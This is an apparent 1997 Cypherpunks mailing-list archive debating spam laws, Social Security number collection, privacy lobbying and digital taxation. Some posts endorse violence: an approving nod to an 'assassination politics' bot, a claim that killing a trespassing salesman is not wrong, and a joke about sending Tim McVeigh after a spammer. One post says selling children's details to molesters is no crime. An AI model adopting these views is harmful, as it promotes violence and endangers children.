telemarketers. Easily a figure could be reached that ten times more spammers could start a business than the number of telemarketers. In 1990, more than 30,000 telemarketing operations employed over 18 million Americans. Easily we could see over 300K spam operators in business, employing less than one million people. Each of these individual spammers could be sending out daily spams. Many of them would be able to reach a significant portion of the internet users on a daily basis. At 09:28 AM 5/31/97 -0700, Tim May wrote: >Your point being? > >Any laws forbidding spam generation in the U.S. will simply (or already) >move the spam-originating sites offshore. Then what happens? As long as the companies who are advertising have US offices, the offshore factor will not matter. Existing fax precedent makes the advertiser the one ultimately responsible for the ad. -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQBVAwUBM5Ht90GpGhRXg5NZAQH4RQIAnm4mbPbsF3JVCK2mFwzZ0frOa6CJBcA3 CHv7lvhxndUT+wPlV40BjCohL9kknuOkLbeZeAoMCGlZkZ9ThIXVYQ== =srDk -----END PGP SIGNATURE----- -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From pooh at efga.org Sun Jun 1 15:37:59 1997 From: pooh at efga.org (Robert A. Costner) Date: Mon, 2 Jun 1997 06:37:59 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: <3.0.2.32.19970601180348.03461abc@keystone.intergate.net> -----BEGIN PGP SIGNED MESSAGE----- At 08:27 PM 5/31/97 -0700, Tim May wrote, concerning Marc Rotenberg: >What we are talking about here is whether there's a need for new laws to, >using your specific example, stop companies from asking for personal >information. A new grocery store opened down the street from me. They have lots of special prices, but only available to "club members". Club cards are free, but you have to fill out a form. The form asks for: 1. Name 2. Address 3. Phone Number 4. Spouse name 5. Social Security number In exchange for giving this information, the store will give me a 35 cent discount on each package of soft drinks I purchase. This is not a check cashing card, that is a separate form. This is a cash transaction. Why does the store need my social security number for me to purchase soft drinks and eggs? (40 cents off on eggs this week) I see no reason for it. If I provide a false number, I have probably committed some crime. Yes, I would support a law that forbids private companies to ask for social security numbers except for tax purposes. -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQBVAwUBM5HxwEGpGhRXg5NZAQFJKgH/TMzbzv5+3BriMraVUcRwMknP/uY5LQLE Z/3JIAjrDVKJuZv54e0pbLRdNtU5RtnmZZwHQCcdxQW2YxNuxgOVIg== =S/a9 -----END PGP SIGNATURE----- -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From ppomes at Qualcomm.com Sun Jun 1 16:22:01 1997 From: ppomes at Qualcomm.com (Paul Pomes) Date: Mon, 2 Jun 1997 07:22:01 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <199705311944.OAA23276@mailhub.amaranth.com> Message-ID: <2372.865205390@zelkova.qualcomm.com> "William H. Geiger III" writes: |It's an intresting side note that the reason why the Cell Phones in this |country do not use strong crypto is because of the intervention of the FCC |and associated Federal LEA's. Not that it would have mattered except to scanner owners with too much time on their hands. The LEAs can intercept at the cellular base station where the air segment traffic is decrypted. This is true for GSM, TDMA, and CDMA. True security requires end-to-end encryption. While slightly possible for mobile-to-mobile calls where each phone has the encryption engine, it all breaks down if the base station doesn't preserve a digital pathway all the way through. Most base stations do tandem vocoding for mobile-to-mobile connections as it's the easiest engineering solution. For mobile-to-landline, the landline options are decidely minimal. If you go with STU-III you have the problem of a fixed-rate 4800 baud modulation sucking up bandwidth. That could be put in the base station but then the path is no longer end-to-end. /pbp From tcmay at got.net Sun Jun 1 17:17:27 1997 From: tcmay at got.net (Tim May) Date: Mon, 2 Jun 1997 08:17:27 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: At 3:03 PM -0700 6/1/97, Robert A. Costner wrote: >Why does the store need my social security number for me to purchase soft >drinks and eggs? (40 cents off on eggs this week) I see no reason for it. >If I provide a false number, I have probably committed some crime. Why does the store "need" to sell Yahoo but not RC Cola? Why does the store "need" to place the eggs back in the dairy department instead of in the bacon and sausage department? Why does the store "need" to do the things it does? Because the store is owned by its owners, not the shoppers, not the courts, and not the legislatures. What it does, or what it asks for, are its business, and the business of its shareholders, managers, etc. Pressure from the customers may of course cause policy changes, but this should not be confused with the passage of laws. As should be well known by now, such "consumer clubs" are modern marketing gimmicks to a) encourage repeat business, and b) provide a discount to locals without also providing a discount to "walk-ins" (travellers, tourists, etc.). I have no idea why they want a SS number, except perhaps that they see every government office demanding it and so they think it is part of the ID process. I of course would not give it. One is always free to turn down their offer of a 40 cent discount on eggs. Sounds fair to me. >Yes, I would support a law that forbids private companies to ask for social >security numbers except for tax purposes. To put it as politely as I can manage, you have no conception of what it means to live in a free, uncoerced society. No wonder the EFF is so fucked up. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From paul at fatmans.demon.co.uk Sun Jun 1 17:17:52 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Mon, 2 Jun 1997 08:17:52 +0800 Subject: Tell the Fans, Not the Players / Was--Re: Rotenberg as the Uber , Enemy In-Reply-To: <199706010558.BAA18210@dhp.com> Message-ID: > >a bunch of political rhetoric isn't worth much. And if > >you don't think we're not busting our butt to protect > >the rights of people to use strong crypto, you have no > >idea what's going on. > > I think it would be more appropriate to say that you are *selling* > your ass. Excuse me all to hell if my heart doesn't bleed purple piss > for your heroic efforts for the "rights of people" but I would prefer > for all of the time, money and effort people are putting into trying > to get the government *not* to fuck me, when they are going to do so > anyway, be put instead into developing technology to enable myself and > others to route around the damage caused by government. Quite, I think we have seen recently that even if these organisations are not corrupt, and have the genuine interest of citizens in mind, they still end up "playing the game" with the system. It is inevitable for them to try to compromise, there can be no compromise. > If the same amount of money that is spent on lobbying to get the > "least-bad law possible" passed was put into cypherpunk projects, then > before the President proposed crypto regulations he would have to > decide if it was really important enough to him to put up with the > whithouse.gov site receiving 10 billion emails with "Fuck Clinton" in > the subject header. As soon as fully anonymous digital cash systems are widely available and we have moved further along the road to creating censor-proof sites we will see the creation of the first AP bot, we all know the outcome. > Don't hold your breath waiting for me to join in the applause for > your support of legislation compromising my privacy and freedom. As far > as I am concerned, most organizations with the word "Freedom" in their > name are a worse scourge than the politicians. They end up becoming > self-important whores that the government uses to get a showcase stamp > of approval on bad legislation. This is another good point that often gets forgotten, strangely, most citizens don`t mind having a red hot poker stuck up their ass as long as it has "EFF red poker campaign" printed on the handle. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Sun Jun 1 17:19:45 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Mon, 2 Jun 1997 08:19:45 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <199706010352.UAA26328@fat.doobie.com> Message-ID: > > Sure it is unpleasant to have your privacy violated, but it is your own > > choice whether you allow information to become available or not. > > Theoretical bullshit. Theoretical truth. > Your choice is to not work, not go on welfare, not drive, not get a > telephone, not be born in a hospital...ad infinitum. Yes, however, this ignores the fact that in a less restrictive society not so many of these actions would involve releasing personal information, also, in a police state such as we see today, it is, in many cases, mandatory to provide *TRUE* details on request by certain people. Of course the right to free speech implies the right to lie, and further by providing false details I take no act of agression against anyone, therefore, in an anarchist or NAP derived minarchist system it would not be a crime to give false details. > Even then, when you are arrested for trespassing on private land or > misuse of public land for those grubs and worms you ate, the government > will take your fingerprints and attach an identity to them. When you > return to your cave, the postman will be waiting at the entrance to > deliver the "Worms R Us" snailmail spam. Then change that identity, or have a false one attached to those prints. I am not talking about privacy under a totalitarian state, I am talking about privacy in an anarchy, or possibly a minarchist state. > > All true law within anarchist, and indeed much minarchist belief derives > > from the non agression principle, by making use of freely available > > information about you I do not initiate violence against you, therefore I > > am guilty of no crime. > > Everyone seems to neglect recognizing that most of the proclaimed > "freely available information" is the result of coercion of one kind > or another. > "If you want a driver's license so that you can earn a decent > living, then you must give us your social security number so that > we can make sure that you get your fair share of junk mail and > spam. If you drive without a license, men with guns will lock you > in a cage." Currently yes, in an anarchist system the road system would be privatised, it would be the job of the owners of each part of the system to decide whether they wanted to require licences or not, if they asked for personal information before granting a licence, and you did not want to give it, lie... If you don`t like having to do this, build your own roads. Anarchist societies are not utopian societies, freedom doesn`t come cheap, and under any free system life is a lot harder. If one large corporate entity were to own the entire road system, and were to run it as it is currently run, as you describe above, then you would have a choice, build your own roads, buy the current ones, drive, or don`t drive. Sure it is a choice between a small red hot poker up the ass and a large one, but that`s just the way it is. The right to live in a free society does not imply the right to live happily. > Try dumping your garbage on other people's doorstep and telling > them that you haven't initiated violence against them and are thus > guilty of no crime. Sell "freely available" information about other > people's children to convicted child molesters and then explain the > same thing to the parents. The first is of course an act of trespass, the second, although an unpleasant act is no crime, we must be careful about calling the right to absolute freedom of speech "theoretical", this is a dangerous step indeed. If the parents don`t like this they can get a clue and defend their children from the real threat: the child molester. Treating speech in this way, ie. saying that it is wrong (a violation of the NAP) to tell the convicted child molester the information about the children, is a form of material determinism. > Why don't the people who send out spam go out ringing people's > doorbells at 4 a.m. to tell them how to "Make Big $$$"? It is > because they would be held personally accountable for the effect > their actions have on the lives of others. They can explain until > they are blue in the face about their right to be an asshole who > is intruding in my life but they are unlikely to convince me to > put up with it without acting in a manner they find offensive. No, their ringing of my doorbell at 4am would be an act of trespass, if they trespassed on my land and upset me they can expect me to react in kind. Telephoning me at 4am is a different matter, as it is not an act of trespass, therefore, we use technological means to combat such anti-social behaviour. > I enjoy many of the posts on anarchy by Paul and others but I > think most of the concepts are valuable mainly as personal standards > one applies to their own life. > You can explain to the guy who slashes your tires that you had > a right to ring his doorbell at 4 a.m. to try to sell him your > product but he had no right to slash your tires. You will be right, > but so what? I too enjoy your posts, but I must stick to my own position, I am maybe guilty of being excessively idealistic, but I believe this is the only way to have a strong and morally right set of laws. The guy that rings my doorbell at 4am trespasses onto my land to ring that doorbell, he makes use of my doorbell, he uses my electricity, and stands on my front doorstep. Practically speaking though, I would not mind any of this if he were to do it at a sociable hour, is there such a thing as an enforcable social contract that says salesmen may only ring doorbells at sociable hours? (whatever they are). I don`t believe there is any such thing as an implicit contract in this sense, the next bit is important though: EVEN IF the salesman arrives at a sociable hour and rings my doorbell, he has STILL commited an act of trespass against me, it is simply the case that because he has had the courtesy to arrive at a reasonable time I have chosen to take no defensive action. What if he arrives at a reasonable time, and acts courteously towards me, and I shoot him dead on the spot? It`s certainly an extreme action, and this is what makes a lot of people react in horror when they fully understand the NAP, but I don`t believe it would be wrong per se. Certainly I would regard anyone reacting as such as a loon, but the salesman CHOSE to commit the act of trespass, he certainly wouldn`t have imagined I might kill him for it, but he was not forced to take that act. > If Tim McVeigh beats the rap and returns to society, I'm going to > buy him a computer and an email account and then give the address > to CyberPromo. I am sure he will understand the issues of anarchy > and free enterprise involved, and act in accordance with the > dictates of his own conscience. Any action against cyberpromo is an act of agression, but I won`t get into a flame war with anyone over this, least of all you TM/CJP, as I believe we are essentially of the same persuation, and I wouldn`t like to see an unproductive and unpleasant pissing contest over it. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From TruthMonger.tm at dev.null Sun Jun 1 17:20:39 1997 From: TruthMonger.tm at dev.null (TruthMonger.tm at dev.null) Date: Mon, 2 Jun 1997 08:20:39 +0800 Subject: Rotenberg as the Uber Enemy Message-ID: <199706012354.RAA19136@wombat.sk.sympatico.ca> Robert A. Costner wrote: > If EFGA has a > position, it is that first the current laws should be tested against spam. No > new laws should be proposed until today's laws can be shown to be useless > against the problem. Regardless, you are already preparing to participate in the process of new laws being implemented. > DATA GATHERING > While there is nothing wrong with data > harvesting in it's self, what one does with the info may be called into > question. The data is going to be misused. Future legislation will be nothing more than a fight over who gets to misuse it. > Data Collection procedures may be less restrictive than identification > requirements, or content bans. > The reason the TCPA is carefully considered is that once the law allowed for > the promulgation of rules, the FCC had a series of public comment periods and > promoted rules that highly favored privacy while trying to balance the fair > practices of telemarketers. Unfortunately, with spam, most spammers do not > have "fair practices". This can be translated to mean that the little guys can do the same thing that large companies do, only without having to hire high-priced legal help to tell them how to route around the "rules." > If is highly likely that the spam question could be quickly addressed and more > clearly defined without new laws simply by a comment period and the > promulgation of new rules. No new laws, just new rules. Doublespeak? > SPAM vs TELEMARKETING > In 1990, more than 30,000 telemarketing operations employed over 18 million > Americans. Easily we could see over 300K spam operators in business, > employing less than one million people. Each of these individual spammers > could be sending out daily spams. Many of them would be able to reach a > significant portion of the internet users on a daily basis. Right. I'm going to receive 300,000 spams a day without taking steps to stop it, because I'm stupid. And nobody in the free market is going to figure out that they can make a shitload of money by providing a product that solves the problem. And enough people are going to sort through 300,000 emails a day and send people money to keep all the spammers operating. Since we're all so stupid and incompetent, I guess we'd better count on the government and the EFGA-type organizations to do what is necessary to "save" us. Robert's immediate solution is to take a law that doesn't work and promulgate "new rules" so that it does. Right. The "new rules" are going to be decided on by the same lame bunch of actors who made the "old rules" which don't work. And all of those people who aren't paying attention to the old rules are going to have a vision from heaven which tells them to follow the new rules. Question: "With all of the organizations 'busting their ass' for our benefit, when do we start seeing the *good* legislation?" I can use strong crypto to keep my communications private and I can maintain control over my private key. The government wants to pass legislation to change that. What's to debate? I need groups of self-appointed saviors to negotiate the method and timing of how my privacy and freedom are going to be taken away? I don't think so! These "saviors" of our rights are doing nothing more than serving as a buffer for the government as what we already have is being stolen from us. They have taken it upon themselves to negotiate our retreat in the face of loss of our privacy and freedom. They are providing the government with a stamp of approval for "reasonable compromise" of our freedom and privacy via "acceptable legislation." If these organizations are so concerned about my rights, then why do I never see the words "Nazi Ratfuckers!" in their press releases? No more free buffets? No more power lunches with the power mongers? No more nights in the Lincoln bedroom? (OK. I'll calm down and be "reasonable." How about the word, "Bullshit!" I've read the government press releases, I've heard the speeches. It's bullshit, but all I hear coming out of the mouths of the "saviors" of my rights is replies in kind--politispeak.) I keep hearing how these organizations that haven't kept us from getting fucked in the past are working for the future, when one of our own is in jail *now*. Want to impress me? Do something for Jim Bell, because tomorrow it's Tim May, and Adam Back a week later (they got Noriega, and they can get Adam, too.) You don't have time to aide Jim Bell, but you have time to give me dire warnings about getting 300,000 emails a day? You have time to tell me that the "solution" is to have the people who wrote rules that don't work write *new* rules? Horseshit! TruthMonger From rah at shipwright.com Sun Jun 1 17:25:24 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 2 Jun 1997 08:25:24 +0800 Subject: e$: Beltway piglets and other barnyard animals In-Reply-To: Message-ID: At 9:05 pm -0400 on 5/31/97, Marc Rotenberg wrote: > Keep me posted. If legislation is threatening a good technical > solution, I'll be the first to blow the whistle. Bunk. The actual contribution of Mr. Rotenberg and his organization to the cause of freedom on the net, in this country, and around the world, can be found precisely in a competant analysis of above bit of semantic nonsense. That is, it is nil, if not negative. Given his past outrageous failures, and his persistant attempts to waste whatever reputation he now has left, remarks like the above finally prove the trust people had for him and the organizations he has run was completely misplaced. A reputation, I might add, literally *donated* to him by thousands of people and companies, who all believed in and trusted him *personally* to keep the Uncle Sam the Inquisitor out of their lives on the net. He has now squandered all of it with the demonstrable cluelessness found in the above bit of self-serving emeticism. First, he led EFF to ignominious defeat with the digital telephony bill, and now, like some kind of political gremlin, emerging unscathed after engineering *that* jumbo-jet plane crash, he starts up EPIC, where he slipstreams no-brainer ACLU court cases like CDA to stay in the beltway pelleton. Now, as if to demonstrate once and for all his utter moral and legislative vacuity on the breakaway, he tries to "legislate" spam out of existance. As if such a Carrolesque tactic like criminalizing internet spam was economically, much less physically possible at all. I'd laugh, if it weren't the kind of low scientific comedy found in totalitarian dictatorships the world over. "Scientists" like Lysenko come to mind, as does Marx, for that matter. Hell, I'm a congenital Republican myself, and I've lived in quite a few yellow-dog Democratic towns, including the one where I now live. I love a good neighborhood political pissing match as much as the next guy. However, Mr. Rotenberg's cynicism, as betrayed by that remark, goes way beyond the fine old tradition of American political gamesmanship, and points straight to the heart of the cesspool that has become public life as we know it today. That's because what we have evolved in this country is the ne plus ultra of legislative sophistry, if not political fraud. (As if *that* phrase wasn't already redundant...) If the ruling elite in this country was ever crazy enough to turn the RICO statute on itself, EPIC would be behind bars, along with Archer Daniels Midland, with the AARP, and all the other beltway piglets, each of them poking their little trotters into the eye of the next one in line, hoping for a governmental sow's teat of their own to suck on. Tim May has said it here before, but it bears repeating. The way a "lobbyist" stays in business is to threaten an otherwise innocent group of people with the power of real or imagined legislative coersion. The "constituents" then pay extortion to the legislature in the form of outright campaign contributions through a political action comittee, or by showing up at "voluntary" fundraisers on behalf of collusionary legislators, or through soft-dollar labor ("research", for instance) that the lobbyist does for "free" on the legislator's behalf. The lobbyist takes a commission on all this cashflow in the form of his salaries and operating expenses. If the "constituent" is lucky, the legislation goes away until more money is required, whereupon the extortion begins anew with more trumped-up legislative excressance. This would be fine, I suppose, business is business, except that the principal measure of *any* legislator's performance (besides, of course, voting his most active supporters as much largesse from the public trough as possible) is the *quantity* of legislation he produces. I mean, you can't have a voting record if there's nothing to vote on. So, the very best any "constituent" caught in this racheting spiral of extortion can hope for is to slow the pace at which the legal noose tightens around his neck. The Digital Telephony/CDA flap is a prime example of this, and Mr. Rotenberg either was charitably an unwitting dupe in this process, or, if one were to take a cynical turn of mind, gleeful at its eventual effect on his bottom line. Eventually, a businessman so afflicted with such parasitism goes out of business unless he can afford to utterly corrupt the legislator into going away permanently, which only works until the legislator retires. More likely, the business simply gives up and begins to operate as a criminal enterprize. Using the legislature to kill his business competition, maybe. Cargill and Archer Daniels Midland do this with agricultural commodity subsidies and hyperregulation, and the largest Florida sugar companies have this down to a science. Remember what Milton Friedman said: increasing government regulation only raises the barriers to market entry and thus only benefits the survivors in the regulated industry -- never the consumer. Rockefeller held on to his monopoly in oil just by paying the government to look the other way when he did something other oil companies were being punished for. Duke did the same thing with tobbacco. I'll say it here so there's no confusion about the matter: "Anti-Trust" is just another legislative shell-game, because *no* business monopoly can exist without government collusion, usually from the legislative branch, though the executive can always be had for a price as well. Bill Gates went to Martha's Vinyard before the last election to talk to Comrade Bill, and, guess what? No more antitrust action. Anyone want to wager on the size of the contribution, legal or otherwise? Again, the threat of "Anti-trust" action is just the way that governments tell the monopolies they've colluded to create that their graft bill is past due. Anyway, I *would* say that this kind of extortion by government and lobbyists would probably fall under the RICO statute if it were ever used, except, of course, the RICO statute itself is, after the constitutional ammendment which permitted the creation of the Internal Revenue Service, probably the single largest attack on freedom this country has ever seen. So, what *can* be done about spam? Easy. Write code, not law. My bet is on some form of digital postage, myself. $MTP, if you will. But, there's no way to solve the problem of spam except by writing code, whatever solution emerges eventually, and that's the crux of even the simplest analysis of Mr. Rotenberg's statement at the top of this message. Certainly any attempt by Mr. Rotenberg and his fellow barnyard residents to impose legislative fantasy on top of the economic and physical reality of the net is at best delusional Lysenkoism, and, at worst, political parasitism in it's purest form. In other words, Mr. Rotenberg, bunk. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From rah at shipwright.com Sun Jun 1 17:28:06 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 2 Jun 1997 08:28:06 +0800 Subject: Economist on Net.Auctions Message-ID: --- begin forwarded text Date: Sun, 1 Jun 1997 00:04:02 -0700 To: dcsb at ai.mit.edu Subject: Economist on Net.Auctions From: nobody at huge.cajones.com (Huge Cajones Remailer) Comments: Please report misuse of this automated remailing service to Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: nobody at huge.cajones.com (Huge Cajones Remailer) no earth-shattering revelations, but tuesday's audience should do their class reading for the pop quiz.. Going, going . . . THE Internet may have been the playground of the geeks for the past few decades, but its future belongs to an even more child-like tribe: economists. The network is becoming the ideal marketplace, where legions of buyers and sellers, both armed to the teeth with relevant information, can set prices as efficiently as any trading floor. As a result, market theories that have long been confined to business-school computer simulations can now have their day of reckoning as real people exchange real goods and money on-line. Nowhere is this better seen than with the economists' favourite sort of market: auctions. More than 150 auction sites are now open on the Web, selling everything from industrial machinery to rare stamps. Airlines such as Cathay Pacific and American have auctioned spare seats on their Web sites. AuctionWeb, which is a mixture of a classified-ad service and an auction room for people selling everything from rare Barbie dolls to barbecue grills, conducted 330,000 auctions on-line in the first quarter of this year alone. Onsale, the largest on-line auction service and one of the few profitable ones, sells $6m worth of computer equipment and electronic goods a month. Last month it became the first on-line auction firm to hit the stockmarket, going public at a valuation of nearly $100m. The Internet's chief advantage for auctioneers is the size of its audience. Its global reach brings a critical mass of buyers and sellers to the most popular auction sites, avoiding the problem of insufficient trading that bedevils many of their cousins in the physical world. Indeed, quick, easy virtual auctions carry a hint of the sort of hyper-efficient capitalism that Internet fans have long been promised. read the rest at http://www.economist.com/issue/31-05-97/wb8772.html For help on using this list (especially unsubscribing), send a message to "dcsb-request at ai.mit.edu" with one line of text: "help". --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From whgiii at amaranth.com Sun Jun 1 17:53:21 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Mon, 2 Jun 1997 08:53:21 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: <199706020045.TAA07340@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 06/01/97 at 04:54 PM, Tim May said: >I have no idea why they want a SS number, except perhaps that they see >every government office demanding it and so they think it is part of the >ID process. I of course would not give it. One is always free to turn >down their offer of a 40 cent discount on eggs. Sounds fair to me. IMHO the request for SS numbers are usally done out of convieniance more than anything else. This is not to justify it just an explanation why so many palces request SS numbers. Anyone that has written database software where unique information is stored on individules a SS number is quite convienat as everyone has a unique one. Most employee, payroll, medical, insurance, credit, databases use SS numbers rather than create individule id #'s. One's SS number has 2 unique qualities that make it perfect for this use: 1 every person has a unique #, and 2 it never changes. This can not be said for any other identifiers one may use, names, addresses, DL #'s, ...ect all have the possiablity to change over time while your SS # is forever. By using SS # as id #'s makes communication of data between diffrent database all that much simpler. From personal experiance I can testify that the entier Medical Insurance system is based on using SS # as identification. I shudder to think trying to track medical records of patients over a period of years between different doctors, hospitals, insurance companies without using them. I will not go into the privacy issues involved in using SS #'s for id #'s as I am sure the members of the list are quite familiar with them. I just wanted to point out that in some industries there is a technical advantage to having 1 universal id #. Now with that being said I personally would not shead any tears seeing SS and SS #'s gone and to never return. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5IYe49Co1n+aLhhAQGsbgP+IyHuNAupRENc/wxZy8Btq8ufLlncdhwN CfVOmYMzcIPN2WX2psttCNKKHxxxMLtw7ZRtlBWDOV+P06JyictVWr3hae031mDR 7VvZqkS1GY6wik6j/5aABhjH07BVzHFCIM2uYyPX0HAo46JTWqGabcxs6+kSGFoU tlAsPO6J4cs= =l6A4 -----END PGP SIGNATURE----- From tcmay at got.net Sun Jun 1 18:22:23 1997 From: tcmay at got.net (Tim May) Date: Mon, 2 Jun 1997 09:22:23 +0800 Subject: Creating a unique ID number for a dollar In-Reply-To: Message-ID: At 5:25 PM -0700 6/1/97, William H. Geiger III wrote: >IMHO the request for SS numbers are usally done out of convieniance more >than anything else. This is not to justify it just an explanation why so >many palces request SS numbers. > >Anyone that has written database software where unique information is >stored on individules a SS number is quite convienat as everyone has a >unique one. Most employee, payroll, medical, insurance, credit, databases >use SS numbers rather than create individule id #'s. One's SS number has 2 >unique qualities that make it perfect for this use: 1 every person has a >unique #, and 2 it never changes. This can not be said for any other >identifiers one may use, names, addresses, DL #'s, ...ect all have the >possiablity to change over time while your SS # is forever. By using SS # >as id #'s makes communication of data between diffrent database all that >much simpler. From personal experiance I can testify that the entier ... This reminds me of a hack I heard about some years back. There's a way to generate a number for any person which is unique. It is not shared by anyone else on the planet. Best of all, this number can be generated without use of a computer, without entry of any allegedly random numbers, and without any hashing of personal data. It's not necessarily a real short number, certainly not as short as an SS number. And best of all, the cost is low. Just a dollar, in fact. I'll explain later. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From hayden at krypton.mankato.msus.edu Sun Jun 1 18:25:58 1997 From: hayden at krypton.mankato.msus.edu (Robert A. Hayden) Date: Mon, 2 Jun 1997 09:25:58 +0800 Subject: A Spam Experiment Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Over the past two weeks I ran a little, completely non-scientific, experiment to examine the propgation of spam. First, I created a bogus mailing address that forwarded to my normal address, allowing me to see the different "to" headers. I then posted a single "test" message to six usenet newsgroups to act as catalyst. These were: alt.tv.nypd-blue comp.org.eff.talk comp.os.ms-windows.apps.utilities.win95 comp.sys.mac.portables misc.legal rec.arts.sf.tv Over the next 72 hours, I received 28 pieces of spam, which I catagorize as an unsolicited email attempting to sell me a product or service. 12 of these messages had an address indicating I could respond to have my name removed from future mailings. I responded carefully to each address, but 4 of them bounced as an invalid address, no such domain, or other problem (no route to host, probably because it was physcially diconnected). I also notied that the "reply-to" field had no relationship with the address to request removal on all 12 of them. The other 14 pieces of spam were replied to the "Reply-to:" field. All were bounced as "no such user" or "no such domain". One postmaster wrote with a canned form letter saying their domain had been put in as the reply-to field unknown to them. Over the next 72 hours, I received an additional 49 pieces of spam, including one that was 850k in size and another that was 421k. This batch was NOT replied to in any way, although 17 of them did include an address to reply to request removal. Since the initial six days, there have been a total of 4 spam messages, all of them were also ignored. The last 72 hours have had zero spam. - --- I need to do more tests with a new address, but I am curious as to if the spike in activity during the second 72 hours wasn't caused by the fact that I replied to messages requesting removal. While it is possible that it was caused by slow usenet propogation, it seems to have happened much slower than propogation usually takes (about 12-18 hours on average in the states, last I heard.) This test wasted 3MB of mail space and total of about 75 minutes to download and reply to (requesting removal). Not that at no time did this mail address reqest any mail be sent to them. The only crime committed was to post to usenet. Just my numbers, FYI. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: PGP Signed with PineSign 2.2 iQCVAwUBM5ICSDokqlyVGmCFAQHMegP/U9jLlTR3gtT1fNqqPx2dnWGhGhRl/18W k4nzWHLsDGE08UxJ8xILJ1jkV9UJOhUpHqzZuy6Hr6zUE5duoAEWGBL4tY8xrzty cG2lDXnrXjfkvtDUf7Ixo49aSHz2mQUT/ia6JbLCFPNKby+16LteSQa7w/O0h9aF +u5WonQvCAc= =A18d -----END PGP SIGNATURE----- Robert A. Hayden hayden at krypton.mankato.msus.edu __ -=-=-=-=-=- -=-=-=-=-=- \/_ http://krypton.mankato.msus.edu/~hayden/Welcome.html \/ From vince at offshore.com.ai Sun Jun 1 18:34:03 1997 From: vince at offshore.com.ai (Vincent Cate) Date: Mon, 2 Jun 1997 09:34:03 +0800 Subject: Economist: The disappearing taxpayer Message-ID: Cypherpunks views of the future in mainstream media. Kind of fun. The following is from: http://www.economist.com/issue/31-05-97/ld4660row.html -- Vince http://www.offshore.com.ai/vince/ [The Economist] The disappearing taxpayer "THE art of taxation", advised Louis XIV's treasurer, Jean-Baptiste Colbert, "consists in so plucking the goose to obtain the largest amount of feathers, with the least possible amount of hissing." His observation remains true, except for one big change. Unlike geese, people in the 17th century did not know how to fly. Now they can. In the coming decades electronic commerce -- combined with the growing ease with which firms can shift their operations from one part of the world to another -- will make it ever easier for people to flee countries where taxes are high, or to evade tax altogether by doing their business in cyberspace. The hole this will leave behind is already worrying many governments (see ). Some argue that it is "unfair" for others to lure their firms away by levying lower taxes, and are pushing for the harmonisation of taxes. Another new idea is to impose a tax on electronic transactions. But although governments everywhere will have to start thinking -- and soon -- about how to raise taxes in the newly weightless global economy, both remedies are flawed. A question of sovereignty . . . Those who advocate harmonisation say that the alternative is a "race to the bottom", as governments sacrifice social spending on the altar of competitiveness. But different countries have different spending needs and make different judgments about the proportion of income to devote to transfers and public services. Indeed -- remember "no taxation without representation" -- such decisions lie at the heart of modern politics. That is why even in the EU, a relentless prober of the boundaries of national sovereignty, proposals to harmonise taxes have made little progress so far. A recent proposal from a panel of economists to make up for the tax losses caused by electronic commerce by introducing a "bit tax" on flows of electronic information is similarly defective. It is hard to see how a single country or even a group might impose such a tax without simply forcing on-line 